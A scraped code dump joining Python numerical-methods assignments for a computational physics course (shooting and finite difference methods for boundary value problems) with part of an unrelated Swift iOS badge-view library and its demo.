x = [x0 + i*h for i in range(n+1)]
# Define the RK4 function
def RK4(xi, y1i, y2i, F1, F2):
'''
Solves two coupled IVPs using the Runge-Kutta 4th order method
Takes in 5 arguments:
xi, y1i, y2i = Initial values x0, y1(x0) and y2(x0)
F1, F2 = Two functions in the IVPs to be solved simultaneously
Returns two lists containing the values of y1 and y2 at each iteration
'''
list1, list2 = [], []
for i in range(n+1):
list1.append(y1i)
list2.append(y2i)
K11 = h*F1(xi, y1i, y2i)
K12 = h*F2(xi, y1i, y2i)
K21 = h*F1(xi+0.5*h, y1i+0.5*K11, y2i+0.5*K12)
K22 = h*F2(xi+0.5*h, y1i+0.5*K11, y2i+0.5*K12)
K31 = h*F1(xi+0.5*h, y1i+0.5*K21, y2i+0.5*K22)
K32 = h*F2(xi+0.5*h, y1i+0.5*K21, y2i+0.5*K22)
K41 = h*F1(xi+h, y1i+K31, y2i+K32)
K42 = h*F2(xi+h, y1i+K31, y2i+K32)
y1i += (K11+2*K21+2*K31+K41)/6
y2i += (K12+2*K22+2*K32+K42)/6
xi += h
return list1, list2
# Run the RK4 function twice, once for y1 & y2, another once for y3 & y4
y1, y2 = RK4(x0, alph, 0, dy1, dy2)
y3, y4 = RK4(x0, 0, 1, dy3, dy4)
# Obtain the values of y1(b) and y3(b)
y1n = y1[-1]
y3n = y3[-1]
# Calculate the coefficient of y3(x)
c = (beta - y1n) / y3n
# Obtain the appoximate solution of the BVP, u(x) = y1(x) + c*y3(x)
u = [y1[i] + c*y3[i] for i in range(n+1)]
# Print the results
print(f'c = {c}\n')
print('{:15}{}\n{}'.format(' xi', 'yi', '-'*22))
for i in range(n+1):
print('{:8.4f}{:12.6f}'.format(x[i], u[i]))
# Plot the graph
mpl.title ('Linear Shooting Method for BVP', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('u(x)', fontsize=16)
mpl.plot(x, u, 'ro')
mpl.savefig('CA2_Q1_Graph')
mpl.show()
<file_sep>"""
Created on Fri Nov 13 12:28:35 2020
@author: <NAME>
"""
import matplotlib.pyplot as mpl
import scipy.linalg as la
import scipy.sparse as sp
# -u" + p(x)u' + q(x)u = f(x)
# Define the functions p, q and f
def p(x):
return 2/7
def q(x):
return 1/7
def f(x):
return x/7
# Set the boundary conditions
x0, alph = 0, 5
xn, beta = 20, 8
# Choose the number of grid points
n = 10
h = (xn - x0) / n
# Create a list containing x0, x1, ..., xn
x = [x0 + i*h for i in range(n+1)]
# Create lists for the coefficients
c1, c2, c3 = [], [], []
for i in range(1, n):
c1.append(-p(x[i])*h /2 - 1)
c2.append( q(x[i])*h**2 + 2)
c3.append( p(x[i])*h /2 - 1)
# Construct the column matrix B
B = [f(x[i])*h**2 for i in range(1, n)]
B[ 0] -= alph*c1[ 0]
B[-1] -= beta*c3[-1]
# Remove the first entry of c1 and the last entry of c3
c1 = c1[ 1:]
c3 = c3[:-1]
# Construct the tridiagonal matrix A
diag = [c1, c2, c3]
A = sp.diags(diag, [-1, 0, 1]).toarray()
# Solve the matrix equation Ay = B for y, add on alpha & beta
u = list(la.solve(A, B))
u = [alph] + u + [beta]
# Print the results
print('{:15}{}\n{}'.format(' xi', 'ui', '-'*22))
for i in range(n+1):
print('{:8.4f}{:12.6f}'.format(x[i], u[i]))
# Plot the graph
mpl.title ('Finite Difference Method for BVP', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('u(x)', fontsize=16)
mpl.plot(x, u, 'ro')
mpl.savefig('CA2_Q2_Graph')
mpl.show()
<file_sep>"""
Created on Thu Oct 29 01:10:43 2020
@author: <NAME>
"""
import numpy as np
import matplotlib.pyplot as mpl
import scipy.linalg as la
# Define the functions p, q and f
def p(x):
return 0
def q(x):
return np.pi**2
def f(x):
return (2*np.pi**2) * np.cos(x*np.pi)
# Set the boundary conditions: u(x0) = alpha, u(xn) = beta
x0, alph = 0, 1
xn, beta = 1, -1
# Choose the number of grid points
n = 8
h = (xn - x0) / n
# Create a list containing x0, x1, ..., xn
x = [x0 + i*h for i in range(n+1)]
# Create empty lists and fill in the values of the coefficients
# These are generalized to the cases where p(x) and q(x) are functions of x
t1, t2, t3, fc = [], [], [], []
for i in range(1, n):
t1.append(-p(x[i])*h /2 - 1)
t3.append( p(x[i])*h /2 - 1)
t2.append( q(x[i])*h**2 + 2)
fc.append( f(x[i])*h**2 )
# Create an empty (n-1) x (n-1) array T, and a list F with the first entry
T = np.empty((n-1, n-1))
F = [fc[0] - (t1[0] * alph)]
# Fill in the main diagonal of T
for i in range(n-1):
T[i][i] = t2[i]
# Fill in the subdiagonal and superdiagonal of T
for i in range(n-2):
T[i+1][i] = t1[i+1]
T[i][i+1] = t3[i]
# Fill in the rest of the entries of T with 0, and the middle entries of F
# The loops here are generalized for any integer value of n ≥ 3
for j in range(n-3):
for i in range(n-j-3):
T[i+j+2][i] = 0
T[i][i+j+2] = 0
F.append(fc[j+1])
# Append the last entry of F
F.append(fc[n-2] - (t3[n-2] * beta))
# Solve the matrix equation TU = F for U and print the result to 6 d.p.
u = list(la.solve(T, F))
U = [round(num, 6) for num in u]
print(f'h = 1/{n}\n')
print('U =', U)
# Include the values of alpha and beta to the list u and plot the graph
# This is to ensure that the lists x and u have the same dimensionality
u = [alph] + u + [beta]
mpl.plot(x, u, 'ro')
# Set the title and the axes
mpl.title ('Finite Difference Method for BVP', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('u(x)', fontsize=16)
mpl.savefig('CA1_Q1_Graph')
mpl.show()
<file_sep>"""
Created on Fri Nov 13 10:57:55 2020
@author: <NAME>
"""
import numpy as np
import matplotlib.pyplot as mpl
# y" = f(x, y, y')
# Define f, ∂f/∂y, ∂f/∂y' and the exact solution
def f(x, y, dy):
return (32 + 2*x**3 - y*dy) / 8
def fy(x, y, dy):
return -dy/8
def fdy(x, y, dy):
return -y/8
def yex(x):
return x**2 + 16/x
# Set the boundary conditions
x0, y0 = 1, 17
xn, yn = 3, 43/3
# Set the grid points
n = 20
h = (xn - x0) / n
x = [x0 + i*h for i in range(n+1)]
yx = [yex(val) for val in x]
# Calculate the initial guess, s0
s = (yn - y0) / (xn - x0)
# Set the tolerance and the max. no. of iterations
k, lim, tol = 0, 20, 1e-08
while k < lim:
# Initial values
u1, u2 = [y0], [s]
v1, v2 = 0, 1
for i in range(n):
# Runge-Kutta 4th order method
k11 = h*u2[i]
k12 = h*f(x[i], u1[i], u2[i])
k21 = h*(u2[i]+k12/2)
k22 = h*f(x[i]+h/2, u1[i]+k11/2, u2[i]+k12/2)
k31 = h*(u2[i]+k22/2)
k32 = h*f(x[i]+h/2, u1[i]+k21/2, u2[i]+k22/2)
k41 = h*(u2[i]+k32)
k42 = h*f(x[i]+h, u1[i]+k31, u2[i]+k32)
u1.append(u1[i] + (k11+2*k21+2*k31+k41)/6)
u2.append(u2[i] + (k12+2*k22+2*k32+k42)/6)
j11 = h*v2
j12 = h*v1*fy (x[i], u1[i], u2[i])
j12 += h*v2*fdy(x[i], u1[i], u2[i])
j21 = h*(v2+j12/2)
j22 = h*(v1+j11/2)*fy (x[i]+h/2, u1[i], u2[i])
j22 += h*(v2+j12/2)*fdy(x[i]+h/2, u1[i], u2[i])
j31 = h*(v2+j22/2)
j32 = h*(v1+j21/2)*fy (x[i]+h/2, u1[i], u2[i])
j32 += h*(v2+j22/2)*fdy(x[i]+h/2, u1[i], u2[i])
j41 = h*(v2+j32)
j42 = h*(v1+j31)*fy (x[i]+h, u1[i], u2[i])
j42 += h*(v2+j32)*fdy(x[i]+h, u1[i], u2[i])
v1 += (j11+2*j21+2*j31+j41)/6
v2 += (j12+2*j22+2*j32+j42)/6
# Check if the approximation is sufficiently close to beta
if abs(u1[n] - yn) <= tol:
print(f'Number of iterations: {k+1}\n')
break
elif k+1 == lim:
print(f'Maximum number of iterations ({lim}) reached\n')
break
# Use the Newton method for the next s
s -= (u1[n] - yn) / v1
k += 1
# Print the results
print('{:13}{:11}{}\n{}'.format(' xi', 'yi', 'Error', '-'*30))
for i in range(n+1):
print('{:.4f}{:12.6f}{:12.6f}'.format(x[i], u1[i], u1[i]-yx[i]))
# Plot the graph
xl = np.linspace(x0, xn, 50)
mpl.title ('Nonlinear Shooting Method', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('y(x)', fontsize=16)
mpl.plot(x , u1 , 'k.')
mpl.plot(xl, yex(xl), 'c-')
mpl.show()
<file_sep>"""
Created on Tue Oct 27 20:37:32 2020
@author: <NAME>
"""
import matplotlib.pyplot as mpl
# y" = p(x)y' + q(x)y + r(x)
# Define the functions dy1, dy2, dy3 and dy4
def dy1(x, y1, y2):
return y2
def dy2(x, y1, y2):
return (2*x / (1+x**2)) * y2 - (2 / (1+x**2)) * y1 + 1
def dy3(x, y3, y4):
return y4
def dy4(x, y3, y4):
return (2*x / (1+x**2)) * y4 - (2 / (1+x**2)) * y3
# Set the boundary conditions
x0, y0 = 0, 1.25
xn, yn = 4, -0.95
# Choose the number of grid points
n = 20
h = (xn - x0) / n
x = [x0 + i*h for i in range(n+1)]
# Define the RK4 function
def RK4(xi, y1i, y2i, F1, F2):
'''
Solves two coupled IVPs using the Runge-Kutta 4th order method
Takes in 5 arguments:
xi, y1i, y2i = Initial values x0, y1(x0) and y2(x0)
F1, F2 = Two functions in the IVPs to be solved simultaneously
Returns two lists containing the values of y1 and y2 at each iteration
'''
list1, list2 = [], []
for i in range(n+1):
list1.append(y1i)
list2.append(y2i)
K11 = h*F1(xi, y1i, y2i)
K12 = h*F2(xi, y1i, y2i)
K21 = h*F1(xi+0.5*h, y1i+0.5*K11, y2i+0.5*K12)
K22 = h*F2(xi+0.5*h, y1i+0.5*K11, y2i+0.5*K12)
K31 = h*F1(xi+0.5*h, y1i+0.5*K21, y2i+0.5*K22)
K32 = h*F2(xi+0.5*h, y1i+0.5*K21, y2i+0.5*K22)
K41 = h*F1(xi+h, y1i+K31, y2i+K32)
K42 = h*F2(xi+h, y1i+K31, y2i+K32)
y1i += (K11+2*K21+2*K31+K41)/6
y2i += (K12+2*K22+2*K32+K42)/6
xi += h
return list1, list2
# Run the RK4 function twice, once for y1 & y2, another once for y3 & y4
y1, y2 = RK4(x0, y0, 0, dy1, dy2)
y3, y4 = RK4(x0, 0, 1, dy3, dy4)
# Calculate the coefficient and obtain the appoximate solution of the BVP
c = (yn - y1[-1]) / y3[-1]
y = [y1[i] + c*y3[i] for i in range(n+1)]
# Print the results
print(f'c = {c}\n')
print('{:15}{}\n{}'.format(' xi', 'yi', '-'*22))
for i in range(n+1):
print('{:8.4f}{:12.6f}'.format(x[i], y[i]))
# Plot the graph
mpl.title ('Linear Shooting Method for BVP', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('y(x)', fontsize=16)
mpl.plot(x, y, 'b.')
mpl.show()
<file_sep># SIF3012-Computational-Physics
Repository for SIF3012 Computational Physics Sem 1 2020/2021.
Topics covered:
1. Ordinary differential equations
2. Matrices
3. Transforms
4. Partial differential equations
5. Probabilistic methods
<file_sep># CA1
Codes and graphs for Computer Assignment (CA) 1.
<file_sep>"""
Created on Thu Nov 12 17:44:09 2020
@author: <NAME>
"""
import numpy as np
import matplotlib.pyplot as mpl
import scipy.linalg as la
import scipy.sparse as sp
# y" = f(x, y, y')
# Define f, ∂f/∂y, ∂f/∂y' and the exact solution
def f(x, y, dy):
return (32 + 2*x**3 - y*dy) / 8
def fy(x, y, dy):
return -dy/8
def fdy(x, y, dy):
return -y/8
def yex(x):
return x**2 + 16/x
# Set the boundary conditions
x0, y0 = 1, 17
xn, yn = 3, 43/3
# Set the grid points
n = 20
h = (xn - x0) / n
x = [x0 + i*h for i in range(n+1)]
yx = [yex(val) for val in x]
# Initial approximation
m = (yn - y0) / (xn - x0)
w = [y0 + m*(x[i] - x0) for i in range(n+1)]
wl = [w]
# Set the tolerance and the max. no. of iterations
k, lim, tol = 0, 20, 1e-8
while k < lim:
# Create lists for the coefficients, and the matrix F
j1, j2, j3, F = [], [], [], []
for i in range(1, n):
d = (wl[k][i+1] - wl[k][i-1]) / (2*h)
j1.append(-fdy(x[i], wl[k][i], d)*h /2 - 1)
j2.append( fy (x[i], wl[k][i], d)*h**2 + 2)
j3.append( fdy(x[i], wl[k][i], d)*h /2 - 1)
F .append( wl[k][i-1]-2*wl[k][i]+wl[k][i+1]-f(x[i], wl[k][i], d)*h**2)
# Construct the tridiagonal matrix J
j1 = j1[ 1:]
j3 = j3[:-1]
dg = [j1, j2, j3]
J = sp.diags(dg, [-1, 0, 1]).toarray()
# Solve the matrix equation Jv = F for v
v = list(la.solve(J, F))
# Next approximation
wp = [y0] + [wl[k][i+1] + v[i] for i in range(len(v))] + [yn]
wl.append(wp)
# Check the tolerance condition
if all(abs(wl[k+1][i] - wl[k][i]) < tol for i in range(len(wl[k]))):
print(f'Number of iterations: {k+1}\n')
break
elif k+1 == lim:
print(f'Maximum number of iterations ({lim}) reached\n')
break
k += 1
# Print the results
y = wl[-1]
print('{:13}{:11}{}\n{}'.format(' xi', 'yi', 'Error', '-'*30))
for i in range(n+1):
print('{:.4f}{:12.6f}{:12.6f}'.format(x[i], y[i], y[i]-yx[i]))
# Plot the graph
xl = np.linspace(x0, xn, 50)
mpl.title ('Nonlinear Finite Difference Method', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('y(x)', fontsize=16)
mpl.plot(x , y , 'k.')
mpl.plot(xl, yex(xl), 'r-')
mpl.show()
<file_sep>"""
Created on Fri Nov 13 12:34:05 2020
@author: <NAME>
"""
import numpy as np
import matplotlib.pyplot as mpl
# u" = f(x, u, u')
# Define f, ∂f/∂u, ∂f/∂u' and the exact solution
def f(x, u, du):
return -du**2
def fu(x, u, du):
return 0
def fdu(x, u, du):
return -2*du
def uex(x):
return np.log((np.exp(1)-1)*x + 1)
# Set the boundary conditions
x0, alph = 0, 0
xn, beta = 1, 1
# Set the grid points
n = 20
h = (xn - x0) / n
# Create a list containing x0, x1, ..., xn, and calculate u(xi)
x = [x0 + i*h for i in range(n+1)]
ux = [uex(val) for val in x]
# Calculate the initial guess, s0
s = (beta - alph) / (xn - x0)
# Set the tolerance and the max. no. of iterations
k, lim, tol = 0, 20, 1e-06
while k < lim:
# Initial values
u1, u2 = [alph], [s]
v1, v2 = 0, 1
for i in range(n):
# Runge-Kutta 4th order method
k11 = h*u2[i]
k12 = h*f(x[i], u1[i], u2[i])
k21 = h*(u2[i]+k12/2)
k22 = h*f(x[i]+h/2, u1[i]+k11/2, u2[i]+k12/2)
k31 = h*(u2[i]+k22/2)
k32 = h*f(x[i]+h/2, u1[i]+k21/2, u2[i]+k22/2)
k41 = h*(u2[i]+k32)
k42 = h*f(x[i]+h, u1[i]+k31, u2[i]+k32)
u1.append(u1[i] + (k11+2*k21+2*k31+k41)/6)
u2.append(u2[i] + (k12+2*k22+2*k32+k42)/6)
j11 = h*v2
j12 = h*v1*fu (x[i], u1[i], u2[i])
j12 += h*v2*fdu(x[i], u1[i], u2[i])
j21 = h*(v2+j12/2)
j22 = h*(v1+j11/2)*fu (x[i]+h/2, u1[i], u2[i])
j22 += h*(v2+j12/2)*fdu(x[i]+h/2, u1[i], u2[i])
j31 = h*(v2+j22/2)
j32 = h*(v1+j21/2)*fu (x[i]+h/2, u1[i], u2[i])
j32 += h*(v2+j22/2)*fdu(x[i]+h/2, u1[i], u2[i])
j41 = h*(v2+j32)
j42 = h*(v1+j31)*fu (x[i]+h, u1[i], u2[i])
j42 += h*(v2+j32)*fdu(x[i]+h, u1[i], u2[i])
v1 += (j11+2*j21+2*j31+j41)/6
v2 += (j12+2*j22+2*j32+j42)/6
# Check if the approximation is sufficiently close to beta
if abs(u1[n] - beta) <= tol:
print(f'Number of iterations: {k+1}\n')
break
elif k+1 == lim:
print(f'Maximum number of iterations ({lim}) reached\n')
break
# Use the Newton method for the next s
s -= (u1[n] - beta) / v1
k += 1
# Print the results
print('{:13}{:11}{}\n{}'.format(' xi', 'ui', 'Error', '-'*30))
for i in range(n+1):
print('{:.4f}{:12.6f}{:12.6f}'.format(x[i], u1[i], u1[i]-ux[i]))
# Plot the graph
xl = np.linspace(x0, xn, 50)
mpl.title ('Nonlinear Shooting Method', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('u(x)', fontsize=16)
mpl.plot(x , u1 , 'k.')
mpl.plot(xl, uex(xl), 'r-')
mpl.savefig('CA2_Q4_Graph')
mpl.show()
<file_sep>"""
Created on Tue Oct 27 20:00:22 2020
@author: <NAME>
"""
import matplotlib.pyplot as mpl
import scipy.linalg as la
import scipy.sparse as sp
# -y" + p(x)y' + q(x)y = f(x)
# Define the functions p, q and f
def p(x):
return 2*x / (1 + x**2)
def q(x):
return -2 / (1 + x**2)
def f(x):
return -1
# Set the boundary conditions
x0, y0 = 0, 1.25
xn, yn = 4, -0.95
# Choose the number of grid points
n = 20
h = (xn - x0) / n
x = [x0 + i*h for i in range(n+1)]
# Create lists for the coefficients
c1, c2, c3 = [], [], []
for i in range(1, n):
c1.append(-p(x[i])*h /2 - 1)
c2.append( q(x[i])*h**2 + 2)
c3.append( p(x[i])*h /2 - 1)
# Construct the column matrix B
B = [f(x[i])*h**2 for i in range(1, n)]
B[ 0] -= y0*c1[ 0]
B[-1] -= yn*c3[-1]
# Remove the first entry of c1 and the last entry of c3
c1 = c1[ 1:]
c3 = c3[:-1]
# Construct the tridiagonal matrix A
diag = [c1, c2, c3]
A = sp.diags(diag, [-1, 0, 1]).toarray()
# Solve the matrix equation Ay = B for y, add on y0 & yn
y = list(la.solve(A, B))
y = [y0] + y + [yn]
# Print the results
print('{:15}{}\n{}'.format(' xi', 'yi', '-'*22))
for i in range(n+1):
print('{:8.4f}{:12.6f}'.format(x[i], y[i]))
# Plot the graph
mpl.title ('Finite Difference Method for BVP', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('y(x)', fontsize=16)
mpl.plot(x, y, 'r.')
mpl.show()
<file_sep>"""
Created on Fri Nov 13 12:36:41 2020
@author: <NAME>
"""
import numpy as np
import matplotlib.pyplot as mpl
import scipy.linalg as la
import scipy.sparse as sp
# u" = f(x, u, u')
# Define f, ∂f/∂u, ∂f/∂u' and the exact solution
def f(x, u, du):
return -du**2
def fu(x, u, du):
return 0
def fdu(x, u, du):
return -2*du
def uex(x):
return np.log((np.exp(1)-1)*x + 1)
# Set the boundary conditions
x0, alph = 0, 0
xn, beta = 1, 1
# Set the grid points
n = 20
h = (xn - x0) / n
# Create a list containing x0, x1, ..., xn, and calculate u(xi)
x = [x0 + i*h for i in range(n+1)]
ux = [uex(val) for val in x]
# Initial approximation
m = (beta - alph) / (xn - x0)
w = [alph + m*(x[i] - x0) for i in range(n+1)]
wl = [w]
# Set the tolerance and the max. no. of iterations
k, lim, tol = 0, 20, 1e-8
while k < lim:
# Create lists for the coefficients, and the matrix F
j1, j2, j3, F = [], [], [], []
for i in range(1, n):
d = (wl[k][i+1] - wl[k][i-1]) / (2*h)
j1.append(-fdu(x[i], wl[k][i], d)*h /2 - 1)
j2.append( fu (x[i], wl[k][i], d)*h**2 + 2)
j3.append( fdu(x[i], wl[k][i], d)*h /2 - 1)
F .append( wl[k][i-1]-2*wl[k][i]+wl[k][i+1]-f(x[i], wl[k][i], d)*h**2)
# Construct the tridiagonal matrix J
j1 = j1[ 1:]
j3 = j3[:-1]
dg = [j1, j2, j3]
J = sp.diags(dg, [-1, 0, 1]).toarray()
# Solve the matrix equation Jv = F for v
v = list(la.solve(J, F))
# Next approximation
wp = [alph] + [wl[k][i+1] + v[i] for i in range(len(v))] + [beta]
wl.append(wp)
# Check the tolerance condition
if all(abs(wl[k+1][i] - wl[k][i]) < tol for i in range(len(wl[k]))):
print(f'Number of iterations: {k+1}\n')
break
elif k+1 == lim:
print(f'Maximum number of iterations ({lim}) reached\n')
break
k += 1
# Print the results
u = wl[-1]
print('{:13}{:11}{}\n{}'.format(' xi', 'ui', 'Error', '-'*30))
for i in range(n+1):
print('{:.4f}{:12.6f}{:12.6f}'.format(x[i], u[i], u[i]-ux[i]))
# Plot the graph
xl = np.linspace(x0, xn, 50)
mpl.title ('Nonlinear Finite Difference Method', fontsize=18)
mpl.xlabel('x' , fontsize=16)
mpl.ylabel('u(x)', fontsize=16)
mpl.plot(x , u , 'k.')
mpl.plot(xl, uex(xl), 'r-')
mpl.savefig('CA2_Q5_Graph')
mpl.show()
<file_sep># CA2
Codes and graphs for Computer Assignment (CA) 2.
| 91ad35221d2934f5f844195bfa5508eeb621a2d8 | [
"Markdown",
"Python"
] | 12 | Python | NgBoonYong/SIF3012-Computational-Physics | f31a37fe51501188c4447968125df300d1503859 | feaa54b9452f22ff9cce3393c2c20b4b6a967264 |
refs/heads/master | <repo_name>Mark-SS/ABBadgeView<file_sep>/README.md
# ABBadgeView
- ABBadgeView is badge view by swift2.0, based on [JSBadgeView](https://github.com/JaviSoto/JSBadgeView).
## MIT License
<file_sep>/BadgeView/ViewController.swift
//
// ViewController.swift
// BadgeView
//
// Created by gongliang on 16/4/21.
// Copyright © 2016年 AB. All rights reserved.
//
import UIKit
let kNumBadges = 2
let kViewBackgroundColor = UIColor(red: 0.357, green: 0.757, blue: 0.357, alpha: 1)
let kSquareSideLength: CGFloat = 64.0
let kSquareCornerRadius: CGFloat = 10.0
let kMarginBetwwenSquares: CGFloat = 60.0
let kSquareColor = UIColor(red: 0.004, green: 0.349, blue: 0.616, alpha: 1)
class ViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
self.view.backgroundColor = kViewBackgroundColor
let scrollView = UIScrollView(frame: self.view.bounds)
self.view.addSubview(scrollView)
let viewWidth = self.view.bounds.width
let numberOfSquaresPerRow = Int(viewWidth / (kSquareSideLength + kMarginBetwwenSquares))
let kInitialXOffset = (viewWidth - (CGFloat(numberOfSquaresPerRow) * kSquareSideLength)) / CGFloat(numberOfSquaresPerRow)
var xOffset = kInitialXOffset
let kInitialYOffset = kInitialXOffset
var yOffset = kInitialYOffset
let rectangleBounds = CGRectMake(0, 0, kSquareSideLength, kSquareSideLength)
let rectangleShadowPath = UIBezierPath(roundedRect: rectangleBounds, byRoundingCorners: .AllCorners, cornerRadii: CGSizeMake(kSquareCornerRadius, kSquareCornerRadius)).CGPath
for i in 0 ..< kNumBadges {
let rectangle = UIView(frame: CGRectIntegral(CGRectMake(40 + xOffset, 10 + yOffset, rectangleBounds.width, rectangleBounds.height)))
rectangle.backgroundColor = kSquareColor
rectangle.layer.cornerRadius = kSquareCornerRadius
rectangle.layer.shadowColor = UIColor.blackColor().CGColor;
rectangle.layer.shadowOffset = CGSizeMake(0.0, 3.0)
rectangle.layer.shadowOpacity = 0.4
rectangle.layer.shadowRadius = 1.0
rectangle.layer.shadowPath = rectangleShadowPath
let badgeView = ABBadgeView(parentView: rectangle, alignment: ABBadgeViewAlignment.TopRight)
badgeView.badgeText = String(i)
scrollView.addSubview(rectangle)
scrollView.sendSubviewToBack(rectangle)
xOffset += kSquareSideLength + kMarginBetwwenSquares
if xOffset > self.view.bounds.width - kSquareSideLength {
xOffset = kInitialXOffset
yOffset += kSquareSideLength + kMarginBetwwenSquares
}
}
scrollView.contentSize = CGSizeMake(scrollView.frame.width, yOffset)
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
}
<file_sep>/BadgeView/ABBadgeView.swift
//
// ABBadgeView.swift
// BadgeView
//
// Created by gongliang on 16/4/21.
// Copyright © 2016年 AB. All rights reserved.
//
import UIKit
let JSBadgeViewShadowRadius: CGFloat = 1.0
let JSBadgeViewHeight: CGFloat = 16.0
let JSBadgeViewTextSideMargin: CGFloat = 8.0
let JSBadgeViewCornerRadius: CGFloat = 10.0
enum ABBadgeViewAlignment: Int {
case TopLeft = 1
case TopRight
case TopCenter
case CenterLeft
case CenterRight
case BottomLeft
case BottomRight
case BottomCenter
case Center
}
class ABBadgeView: UIView {
var badgeText: String = "" {
didSet {
self.setNeedsLayout()
}
}
var badgeAlignment: ABBadgeViewAlignment = .TopRight {
didSet {
if oldValue != badgeAlignment {
self.setNeedsLayout()
}
}
}
dynamic var badgeTextColor = UIColor.whiteColor() {
didSet {
if oldValue != badgeTextColor {
self.setNeedsDisplay()
}
}
}
dynamic var badgeTextShadowOffset = CGSizeZero {
didSet {
if oldValue != badgeTextShadowOffset {
self.setNeedsDisplay()
}
}
}
dynamic var badgeTextShadowColor = UIColor.yellowColor() {
didSet {
if oldValue != badgeTextShadowColor {
self.setNeedsDisplay()
}
}
}
dynamic var badgeTextFont = UIFont.boldSystemFontOfSize(UIFont.systemFontSize()) {
didSet {
if oldValue != badgeTextFont {
self.setNeedsLayout()
self.setNeedsLayout()
}
}
}
dynamic var badgeBackgroundColor = UIColor.redColor() {
didSet {
if oldValue != badgeBackgroundColor {
self.setNeedsDisplay()
}
}
}
dynamic var badgeOverlayColor = UIColor.clearColor() {
didSet {
if oldValue != badgeOverlayColor {
self.setNeedsLayout()
self.setNeedsDisplay()
}
}
}
dynamic var badgeShadowColor = UIColor.clearColor()
dynamic var badgeShadowSize = CGSizeZero {
didSet {
if oldValue != badgeShadowSize {
self.setNeedsDisplay()}
}
}
dynamic var badgeStrokeWidth: CGFloat = 0.0
dynamic var badgeStrokeColor = UIColor.redColor() {
didSet {
if oldValue != badgeStrokeColor {
self.setNeedsDisplay()
}
}
}
dynamic var badgePostionAdjustment = CGPointZero {
didSet {
if oldValue != badgePostionAdjustment {
self.setNeedsLayout()
}
}
}
dynamic var frameToPostionInRelationWith = CGRectZero
dynamic var badgeMinWidth: CGFloat = 0.0
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
}
override init(frame: CGRect) {
super.init(frame: frame)
}
convenience init(parentView: UIView, alignment: ABBadgeViewAlignment) {
self.init(frame: CGRectZero)
self.badgeAlignment = alignment
self.backgroundColor = UIColor.clearColor()
parentView.addSubview(self)
}
override func layoutSubviews() {
var newFrame = self.frame
let superViewBounds = CGRectIsEmpty(self.frameToPostionInRelationWith) ? self.superview?.bounds : self.frameToPostionInRelationWith
let textWidth = self.sizeOfTextForCurrentSettings().width
let marginToDrawInside = self.marginToDrawInside()
let viewWidth = max(self.badgeMinWidth, textWidth + JSBadgeViewTextSideMargin + (marginToDrawInside * 2))
let viewHeight = JSBadgeViewHeight + (marginToDrawInside * 2)
let superviewWidth = superViewBounds!.width
let superviewHeight = superViewBounds!.height
newFrame.size = CGSizeMake(max(viewWidth, viewHeight), viewHeight)
switch self.badgeAlignment {
case .TopLeft:
newFrame.origin.x = -viewWidth / 2.0
newFrame.origin.y = -viewHeight / 2.0
case .TopRight:
newFrame.origin.x = superviewWidth - (viewWidth / 2.0)
newFrame.origin.y = -viewHeight / 2.0
case .TopCenter:
newFrame.origin.x = (superviewWidth - viewWidth) / 2.0
newFrame.origin.y = -viewHeight / 2.0
case .CenterLeft:
newFrame.origin.x = -viewWidth / 2.0
newFrame.origin.y = (superviewHeight - viewHeight) / 2.0
case .CenterRight:
newFrame.origin.x = superviewWidth - (viewWidth / 2.0)
newFrame.origin.y = (superviewHeight - viewHeight) / 2.0
case .BottomLeft:
newFrame.origin.x = -viewWidth / 2.0
newFrame.origin.y = superviewHeight - (viewHeight / 2.0)
case .BottomRight:
newFrame.origin.x = superviewWidth - (viewWidth / 2.0)
newFrame.origin.y = superviewHeight - (viewHeight / 2.0)
case .BottomCenter:
newFrame.origin.x = (superviewWidth - viewWidth) / 2.0
newFrame.origin.y = superviewHeight - (viewHeight / 2.0)
case .Center:
newFrame.origin.x = (superviewWidth - viewWidth) / 2.0
newFrame.origin.y = (superviewHeight - viewHeight) / 2.0
}
newFrame.origin.x += self.badgePostionAdjustment.x
newFrame.origin.y += self.badgePostionAdjustment.y
self.bounds = CGRectIntegral(CGRectMake(0, 0, newFrame.width, newFrame.height))
self.center = CGPointMake(CGRectGetMidX(newFrame), CGRectGetMidY(newFrame))
self.setNeedsDisplay()
}
func marginToDrawInside() -> CGFloat {
return self.badgeStrokeWidth * 2.0
}
private func sizeOfTextForCurrentSettings() -> CGSize {
let myString: NSString = self.badgeText
return myString.sizeWithAttributes([NSFontAttributeName: self.badgeTextFont])
}
override func drawRect(rect: CGRect) {
let anyTextToDraw = self.badgeText.characters.count > 0
if anyTextToDraw {
let ctx = UIGraphicsGetCurrentContext()
let marginToDrawInside = self.marginToDrawInside()
let rectToDraw = CGRectInset(rect, marginToDrawInside, marginToDrawInside)
let borderPath = UIBezierPath(roundedRect: rectToDraw, byRoundingCorners: .AllCorners, cornerRadii: CGSizeMake(JSBadgeViewCornerRadius, JSBadgeViewCornerRadius))
/* Background and shadow */
CGContextSaveGState(ctx)
CGContextAddPath(ctx, borderPath.CGPath)
CGContextSetFillColorWithColor(ctx, self.badgeBackgroundColor.CGColor)
CGContextSetShadowWithColor(ctx, self.badgeShadowSize, JSBadgeViewCornerRadius, self.badgeShadowColor.CGColor)
CGContextDrawPath(ctx, .Fill)
CGContextRestoreGState(ctx)
let colorForOverlayPresent = !(self.badgeOverlayColor == UIColor.clearColor())
if colorForOverlayPresent {
/* gradient overlay */
CGContextSaveGState(ctx)
CGContextAddPath(ctx, borderPath.CGPath)
CGContextClip(ctx)
let height = rectToDraw.height
let width = rectToDraw.width
let rectForOverlayCircle = CGRectMake(rectToDraw.origin.x,
rectToDraw.origin.y - height * 0.5,
width,
height)
CGContextAddEllipseInRect(ctx, rectForOverlayCircle)
CGContextSetFillColorWithColor(ctx, self.badgeOverlayColor.CGColor)
CGContextDrawPath(ctx, .Fill)
CGContextRestoreGState(ctx)
}
/* Stroke */
CGContextSaveGState(ctx)
CGContextAddPath(ctx, borderPath.CGPath)
